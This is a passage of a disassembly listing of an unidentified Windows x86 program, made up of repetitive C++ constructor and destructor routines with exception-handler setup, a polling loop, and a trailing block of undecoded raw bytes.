mov byte ptr [esp+14h+var_4], 1Dh
call sub_401AD2
mov byte ptr [esp+14h+var_4], 1Ch
lea ecx, [esi+84Eh]
call sub_401AD2
lea ecx, [esi+805h]
mov byte ptr [esp+14h+var_4], 1Bh
call sub_401AD2
lea ecx, [esi+7BCh]
mov byte ptr [esp+14h+var_4], 1Ah
call sub_401AD2
lea ecx, [esi+773h]
mov byte ptr [esp+14h+var_4], 19h
call sub_401AD2
lea ecx, [esi+72Ah]
mov byte ptr [esp+14h+var_4], 18h
call sub_401AD2
lea ecx, [esi+6E1h]
mov byte ptr [esp+14h+var_4], 17h
call sub_401AD2
lea ecx, [esi+698h]
mov byte ptr [esp+14h+var_4], 16h
call sub_401AD2
lea ecx, [esi+64Fh]
mov byte ptr [esp+14h+var_4], 15h
call sub_401AD2
lea ecx, [esi+606h]
mov byte ptr [esp+14h+var_4], 14h
call sub_401AD2
lea ecx, [esi+5BDh]
mov byte ptr [esp+14h+var_4], 13h
call sub_401AD2
lea ecx, [esi+574h]
mov byte ptr [esp+14h+var_4], 12h
call sub_401AD2
lea ecx, [esi+52Bh]
mov byte ptr [esp+14h+var_4], 11h
call sub_401AD2
lea ecx, [esi+4E2h]
mov byte ptr [esp+14h+var_4], 10h
call sub_401AD2
lea ecx, [esi+499h]
mov byte ptr [esp+14h+var_4], 0Fh
call sub_401AD2
lea ecx, [esi+450h]
mov byte ptr [esp+14h+var_4], 0Eh
call sub_401AD2
lea ecx, [esi+407h]
mov byte ptr [esp+14h+var_4], 0Dh
call sub_401AD2
lea ecx, [esi+3BEh]
mov byte ptr [esp+14h+var_4], 0Ch
call sub_401AD2
lea ecx, [esi+375h]
mov byte ptr [esp+14h+var_4], 0Bh
call sub_401AD2
lea ecx, [esi+32Ch]
mov byte ptr [esp+14h+var_4], 0Ah
call sub_401AD2
lea ecx, [esi+2E3h]
mov byte ptr [esp+14h+var_4], 9
call sub_401AD2
lea ecx, [esi+29Ah]
mov byte ptr [esp+14h+var_4], 8
call sub_401AD2
lea ecx, [esi+251h]
mov byte ptr [esp+14h+var_4], 7
call sub_401AD2
lea ecx, [esi+208h]
mov byte ptr [esp+14h+var_4], 6
call sub_401AD2
lea ecx, [esi+1BFh]
mov byte ptr [esp+14h+var_4], 5
call sub_401AD2
lea ecx, [esi+176h]
mov byte ptr [esp+14h+var_4], 4
call sub_401AD2
lea ecx, [esi+12Dh]
mov byte ptr [esp+14h+var_4], 3
call sub_401AD2
lea ecx, [esi+0E4h]
mov byte ptr [esp+14h+var_4], 2
call sub_401AD2
mov byte ptr [esp+14h+var_4], 1
lea ecx, [esi+9Bh]
call sub_401AD2
lea ecx, [esi+52h]
mov byte ptr [esp+14h+var_4], 0
call sub_401AD2
lea ecx, [esi+9]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401AD2
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417020 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 110h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417540 proc near ; CODE XREF: sub_4014F1j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417540
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0A3h]
mov [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+75h]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+47h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+19h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417540 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4175E0 proc near ; CODE XREF: sub_401E83j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4175E0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+118h]
mov [esp+14h+var_4], 5
call sub_401023
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4175E0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4176B0 proc near ; CODE XREF: sub_401235j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4176B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+8D0C0h]
mov [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8D092h]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+8D064h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+8D036h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+8D008h]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4176B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417770 proc near ; CODE XREF: sub_402216j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417770
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0EAh]
mov [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417770 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417830 proc near ; CODE XREF: sub_401EB0j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417830
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0EAh]
mov [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417830 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4178F0 proc near ; CODE XREF: sub_4018CAj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4178F0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4178F0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417960 proc near ; CODE XREF: sub_4017D0j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417960
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417960 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4179D0 proc near ; CODE XREF: sub_401B27j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4179D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4179D0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417A40 proc near ; CODE XREF: sub_401F28j
add ecx, 4
jmp sub_401023
sub_417A40 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417A60 proc near ; CODE XREF: sub_401113j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417A60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+60h]
mov [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417A60 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417AE0 proc near ; CODE XREF: sub_401DEDj
add ecx, 4
jmp sub_401023
sub_417AE0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417B00 proc near ; CODE XREF: sub_401FF5j
add ecx, 4
jmp sub_401023
sub_417B00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417B20 proc near ; CODE XREF: sub_401EE2j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417B20
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0BCh]
mov [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417B20 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417BC0 proc near ; CODE XREF: sub_40157Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417BC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401424
lea ecx, [esi+19h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+47h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
lea ecx, [esi+75h]
mov byte ptr [esp+14h+var_4], 2
call sub_401749
lea ecx, [esi+0A3h]
mov byte ptr [esp+14h+var_4], 3
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E078
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417BC0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417C60 proc near ; CODE XREF: sub_401645j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417C60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401749
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401749
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401749
lea ecx, [esi+118h]
mov byte ptr [esp+14h+var_4], 5
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E07C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417C60 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417D30 proc near ; CODE XREF: sub_401776j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417D30
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+8D008h]
call sub_401749
lea ecx, [esi+8D036h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+8D064h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
lea ecx, [esi+8D092h]
mov byte ptr [esp+14h+var_4], 2
call sub_401749
lea ecx, [esi+8D0C0h]
mov byte ptr [esp+14h+var_4], 3
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E080
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417D30 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417DF0 proc near ; CODE XREF: sub_401820j
push esi
mov esi, ecx
call sub_401E6A
mov dword ptr [esi], offset off_43E050
mov eax, esi
pop esi
retn
sub_417DF0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417E20 proc near ; CODE XREF: sub_4016B3j
push esi
mov esi, ecx
call sub_401E6A
mov dword ptr [esi], offset off_43E05C
mov eax, esi
pop esi
retn
sub_417E20 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417E50 proc near ; CODE XREF: sub_401415j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417E50
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401749
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401749
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E084
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417E50 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417F10 proc near ; CODE XREF: sub_401302j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417F10
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401749
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401749
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E088
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417F10 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417FD0 proc near ; CODE XREF: sub_401271j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417FD0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E08C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417FD0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418050 proc near ; CODE XREF: sub_401D11j
push esi
mov esi, ecx
call sub_4011B3
mov dword ptr [esi], offset nullsub_10
mov eax, esi
pop esi
retn
sub_418050 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418080 proc near ; CODE XREF: sub_4012FDj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418080
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E094
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418080 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418100 proc near ; CODE XREF: sub_401A7Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418100
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E098
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418100 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418180 proc near ; CODE XREF: sub_401285j
push esi
mov esi, ecx
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
mov dword ptr [esi], offset off_43E09C
mov eax, esi
pop esi
retn
sub_418180 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4181B0 proc near ; CODE XREF: sub_401CA3j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4181B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E0A0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4181B0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418230 proc near ; CODE XREF: sub_401573j
push esi
mov esi, ecx
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
mov dword ptr [esi], offset off_43E0A4
mov eax, esi
pop esi
retn
sub_418230 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418260 proc near ; CODE XREF: sub_40178Fj
push esi
mov esi, ecx
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
mov dword ptr [esi], offset off_43E0A8
mov eax, esi
pop esi
retn
sub_418260 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418290 proc near ; CODE XREF: sub_401073j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418290
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401749
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E0AC
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418290 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418330 proc near ; CODE XREF: sub_401267j
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
push ebx
push ebp
mov ebp, dword_50F8D0
push esi
mov esi, ecx
push edi
xor bl, bl
mov byte ptr [esi+9FD2Ch], 1
loc_418348: ; CODE XREF: sub_418330+E4j
test bl, bl
jnz loc_41841E
mov al, [esi+8EF74h]
test al, al
jnz short loc_41835E
mov bl, 1
jmp short loc_418372
; ---------------------------------------------------------------------------
loc_41835E: ; CODE XREF: sub_418330+28j
lea ecx, [esi+15Fh]
call sub_40185C
test al, al
setz bl
test bl, bl
jz short loc_418379
loc_418372: ; CODE XREF: sub_418330+2Cj
mov byte ptr [esi+9FD2Ch], 0
loc_418379: ; CODE XREF: sub_418330+40j
lea ecx, [esp+1Ch+var_C]
call sub_402086
lea edi, [esi+9FD83h]
lea eax, [esp+1Ch+var_4]
push eax
mov ecx, edi
call sub_401F4B
mov ecx, [eax]
lea edx, [esp+1Ch+var_8]
mov [esp+1Ch+var_C], ecx
push edx
mov ecx, edi
call sub_401311
push eax
lea ecx, [esp+20h+var_C]
call sub_4016F9
test al, al
jz short loc_4183FE
loc_4183B4: ; CODE XREF: sub_418330+CCj
lea ecx, [esp+1Ch+var_C]
call sub_402211
mov ecx, [eax]
call sub_401744
lea ecx, [esp+1Ch+var_C]
call sub_402211
mov eax, [eax]
test eax, eax
jz short loc_4183DB
mov edx, [eax]
push 1
mov ecx, eax
call dword ptr [edx]
loc_4183DB: ; CODE XREF: sub_418330+A1j
lea ecx, [esp+1Ch+var_C]
call sub_401361
lea eax, [esp+1Ch+var_8]
mov ecx, edi
push eax
call sub_401311
push eax
lea ecx, [esp+20h+var_C]
call sub_4016F9
test al, al
jnz short loc_4183B4
loc_4183FE: ; CODE XREF: sub_418330+82j
mov ecx, edi
call sub_4010B9
push 0FAh
call ebp
mov al, [esi+9FD2Ch]
test al, al
jnz loc_418348
test bl, bl
jz short loc_41842B
loc_41841E: ; CODE XREF: sub_418330+1Aj
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_41842B: ; CODE XREF: sub_418330+ECj
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0Ch
retn
sub_418330 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418490 proc near ; CODE XREF: sub_401767j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_418490
push eax
mov large fs:0, esp
sub esp, 1A8h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov ecx, offset byte_4E6EDB
mov byte ptr [esi+9FD2Ch], 1
call sub_4010B9
mov eax, [esp+1C4h+arg_4]
test eax, eax
jz short loc_4184D0
push eax
jmp short loc_4184D5
; ---------------------------------------------------------------------------
loc_4184D0: ; CODE XREF: sub_418490+3Bj
push offset byte_446F70
loc_4184D5: ; CODE XREF: sub_418490+3Ej
lea ecx, [esi+9FD57h]
call sub_4015D7
mov edi, [esp+1C4h+arg_0]
test edi, edi
jz short loc_4184EE
push edi
jmp short loc_4184F3
; ---------------------------------------------------------------------------
loc_4184EE: ; CODE XREF: sub_418490+59j
push offset byte_446F70
loc_4184F3: ; CODE XREF: sub_418490+5Cj
lea ecx, [esi+9FD6Ch]
call sub_4015D7
push edi
lea ecx, [esi+3Eh]
call sub_401384
sub_418490 endp
; ---------------------------------------------------------------------------
db 8Ah
dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h, 0FE945CE8h
dd 244C8DFFh, 2685128h, 0E8000002h, 7169E121h, 8F88E890h
dd 8E8DFFFEh, 1BBEh, 0FE92B1E8h, 468E8DFFh, 0E800001Bh
dd 0FFFE94AEh, 15FBE8Dh, 0CF8B0000h, 0FE97DFE8h, 0D01D8BFFh
dd 680050F8h, 3E8h, 0CF8BD3FFh, 0FE8CB3E8h, 3E868FFh, 0D3FF0000h
dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh
dd 0E80009FCh, 0FFFE8E48h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h
dd 5300001Ch, 0B2E8CF8Bh, 8BFFFE95h, 8BE7E8CFh, 868AFFFEh
dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 5FE8CF8Bh, 8AFFFE91h
dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0D5E855CFh
dd 84FFFE99h, 530B75C0h, 0E8CF8B55h, 0FFFE8EABh, 0AE8D0EEBh
dd 7F7h, 0E855CF8Bh, 0FFFE9346h, 7C7868Ah, 0C0840000h
dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE99C7E8h, 74C084FFh
dd 0E8006A08h, 7782185Eh, 98C6E890h, 8E8DFFFEh, 168h, 0FE91B3E8h
dd 448D50FFh, 0E8501424h, 0FFFE99E6h, 5008C483h, 0FD2D8E8Dh
dd 84C70009h, 1C424h, 0
dd 99B8E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h
dd 8BBCE8FFh, 9E8DFFFEh, 8EF5Dh, 5DE8CB8Bh, 8DFFFE8Dh
dd 8F2478Eh, 8D52E800h, 8E8DFFFEh, 1D29h, 0FE96F2E8h, 6F8E8DFFh
dd 0E800001Eh, 0FFFE9449h, 0F2858E8Dh, 66E80008h, 8DFFFE8Fh
dd 9FA138Eh, 9046E800h, 8E8DFFFEh, 8F3A2h, 0FE9B26E8h
dd 738E8DFFh, 0E80009FAh, 0FFFE9783h, 3FE8CB8Bh, 8DFFFE93h
dd 9FC428Eh, 9889E800h, 0CF8BFFFEh, 0FE896EE8h, 0BF8E8DFFh
dd 0E80008F4h, 0FFFE9525h, 0FB058E8Dh, 9DE80009h, 8DFFFE94h
dd 9FAD38Eh, 9802E800h, 8E8DFFFEh, 9FB93h, 0FE925CE8h
